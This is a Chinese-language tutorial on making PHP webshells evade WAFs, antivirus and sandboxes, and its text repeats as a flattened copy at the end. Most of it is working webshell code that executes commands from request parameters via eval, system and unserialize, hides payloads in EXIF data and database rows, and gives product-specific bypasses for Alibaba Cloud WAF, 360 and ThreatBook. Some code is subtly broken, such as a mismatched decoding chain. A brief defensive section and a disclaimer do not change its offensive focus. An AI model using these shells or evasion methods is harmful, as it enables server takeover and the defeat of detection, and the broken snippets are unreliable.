PHPwebshell免杀
字数 1127 2025-08-29 08:29:58

PHP Webshell免杀技术详解

一、Webshell免杀基本原理

Webshell免杀技术主要目的是绕过安全检测系统(如WAF、杀毒软件、沙箱等),核心原理包括:

  1. 代码混淆:改变代码结构使其难以识别
  2. 变量加密解密:对关键变量和函数名进行加密处理
  3. 危险函数绕过:避免直接使用敏感函数或改变调用方式
  4. 添加无用变量:插入无关代码干扰检测
  5. 函数套壳:将敏感函数包装在多层自定义函数中

二、主流免杀技术方案

方案1:反序列化+自定义加密解密+分块加密

实现步骤:

  1. 将恶意代码封装为可序列化对象
  2. 自定义加密函数对序列化字符串进行加密
  3. 将加密后的代码分块存储
  4. 运行时动态解密并反序列化执行

示例代码结构:

class Malicious {
    public $cmd = "whoami";
    
    public function __destruct() {
        system($this->cmd);
    }
}

function customEncrypt($data, $key) {
    // 自定义加密算法
    return $encryptedData;
}

// 分块加密存储
$serialized = serialize(new Malicious());
$chunks = str_split(customEncrypt($serialized, 'secret_key'), 32);

// 运行时解密执行
$fullData = implode('', $chunks);
$decrypted = customDecrypt($fullData, 'secret_key');
unserialize($decrypted);

方案2:自定义加解密key+反序列化

核心要点:

  • 使用动态生成的加密密钥
  • 将密钥隐藏在正常业务逻辑中
  • 通过反序列化触发执行

实现技巧:

// 密钥隐藏在看似正常的配置中
$config = [
    'db_host' => '127.0.0.1',
    'db_user' => 'root',
    'security_key' => 'x12#9Kj' // 实际加密密钥
];

class Payload {
    private $encryptedCmd;
    
    public function __construct($cmd) {
        $this->encryptedCmd = customEncrypt($cmd, $GLOBALS['config']['security_key']);
    }
    
    public function execute() {
        eval(customDecrypt($this->encryptedCmd, $GLOBALS['config']['security_key']));
    }
}

// 触发执行
$payload = unserialize($_REQUEST['data']);
$payload->execute();

方案3:魔法函数+自定义加解密

利用PHP魔法方法:

  • __construct() / __destruct()
  • __call() / __callStatic()
  • __get() / __set()

示例实现:

class MagicShell {
    private $encoded;
    private $key = 'dynamic_key';
    
    public function __construct($input) {
        $this->encoded = $this->rot13(base64_encode($input));
    }
    
    public function __call($name, $args) {
        if ($name == 'legitFunction') {
            $code = base64_decode($this->rot13($this->encoded));
            eval($code);
        }
    }
    
    private function rot13($str) {
        return str_rot13($str);
    }
}

// 使用方式
$shell = new MagicShell('system($_GET["cmd"]);');
$shell->legitFunction(); // 触发执行

三、针对安全产品的绕过技巧

1. 阿里云WAF绕过

  • 避免使用evalsystem等直接调用
  • 使用字符串拼接动态构建函数名
  • 利用PHP变量函数特性:$func = 'sy'.'stem'; $func('whoami');

2. 360检测绕过

  • 插入大量干扰字符串和注释
  • 使用非常规编码(如十六进制、unicode)
  • 利用PHP的create_function已弃用函数

3. 微步沙箱检测

  • 添加环境检测逻辑,非真实环境不执行
  • 使用时间延迟触发
  • 检测用户代理和IP地址

四、高级免杀技术

1. 图像隐写术

将恶意代码隐藏在图片EXIF数据中:

$exif = exif_read_data('logo.jpg');
eval($exif['Copyright']);

2. 数据库存储

将代码分片存储在数据库表中,运行时动态组装:

$db = new PDO('mysql:host=localhost;dbname=cms', 'user', 'pass');
$stmt = $db->query("SELECT part FROM code_parts ORDER BY id");
$code = '';
while($row = $stmt->fetch()) {
    $code .= $row['part'];
}
eval($code);

3. 混合编码技术

// 十六进制+base64+rot13混合编码
$code = '73797374656d28245f4745545b22636d64225d293b'; // system($_GET["cmd"]);
$decoded = base64_decode(str_rot13(hex2bin($code)));
eval($decoded);

五、防御检测建议

  1. 静态检测防御

    • 使用多引擎检测(如VirusTotal)
    • 自定义正则匹配异常代码结构
    • 检测文件修改时间和权限
  2. 动态检测防御

    • 监控异常进程创建
    • 记录敏感函数调用
    • 分析HTTP请求参数特征
  3. 行为检测防御

    • 建立正常行为基线
    • 检测异常文件操作
    • 监控网络连接行为

六、总结与进阶

  1. 技术演进趋势

    • 从简单混淆到密码学应用
    • 从单一方法到混合技术
    • 从代码层面到协议层面
  2. 学习建议

    • 深入理解PHP语言特性
    • 研究主流WAF检测规则
    • 分析公开的恶意样本
  3. 法律提醒

    • 本技术仅用于安全研究
    • 未经授权测试属于违法行为
    • 请遵守网络安全法律法规

注意:本文仅供安全研究使用,任何非法应用与作者无关。实际防御中建议采用多层次安全防护策略。

PHP Webshell免杀技术详解 一、Webshell免杀基本原理 Webshell免杀技术主要目的是绕过安全检测系统(如WAF、杀毒软件、沙箱等),核心原理包括: 代码混淆 :改变代码结构使其难以识别 变量加密解密 :对关键变量和函数名进行加密处理 危险函数绕过 :避免直接使用敏感函数或改变调用方式 添加无用变量 :插入无关代码干扰检测 函数套壳 :将敏感函数包装在多层自定义函数中 二、主流免杀技术方案 方案1:反序列化+自定义加密解密+分块加密 实现步骤: 将恶意代码封装为可序列化对象 自定义加密函数对序列化字符串进行加密 将加密后的代码分块存储 运行时动态解密并反序列化执行 示例代码结构: 方案2:自定义加解密key+反序列化 核心要点: 使用动态生成的加密密钥 将密钥隐藏在正常业务逻辑中 通过反序列化触发执行 实现技巧: 方案3:魔法函数+自定义加解密 利用PHP魔法方法: __construct() / __destruct() __call() / __callStatic() __get() / __set() 示例实现: 三、针对安全产品的绕过技巧 1. 阿里云WAF绕过 避免使用 eval 、 system 等直接调用 使用字符串拼接动态构建函数名 利用PHP变量函数特性: $func = 'sy'.'stem'; $func('whoami'); 2. 360检测绕过 插入大量干扰字符串和注释 使用非常规编码(如十六进制、unicode) 利用PHP的 create_function 已弃用函数 3. 微步沙箱检测 添加环境检测逻辑,非真实环境不执行 使用时间延迟触发 检测用户代理和IP地址 四、高级免杀技术 1. 图像隐写术 将恶意代码隐藏在图片EXIF数据中: 2. 数据库存储 将代码分片存储在数据库表中,运行时动态组装: 3. 混合编码技术 五、防御检测建议 静态检测防御 : 使用多引擎检测(如VirusTotal) 自定义正则匹配异常代码结构 检测文件修改时间和权限 动态检测防御 : 监控异常进程创建 记录敏感函数调用 分析HTTP请求参数特征 行为检测防御 : 建立正常行为基线 检测异常文件操作 监控网络连接行为 六、总结与进阶 技术演进趋势 : 从简单混淆到密码学应用 从单一方法到混合技术 从代码层面到协议层面 学习建议 : 深入理解PHP语言特性 研究主流WAF检测规则 分析公开的恶意样本 法律提醒 : 本技术仅用于安全研究 未经授权测试属于违法行为 请遵守网络安全法律法规 注意:本文仅供安全研究使用,任何非法应用与作者无关。实际防御中建议采用多层次安全防护策略。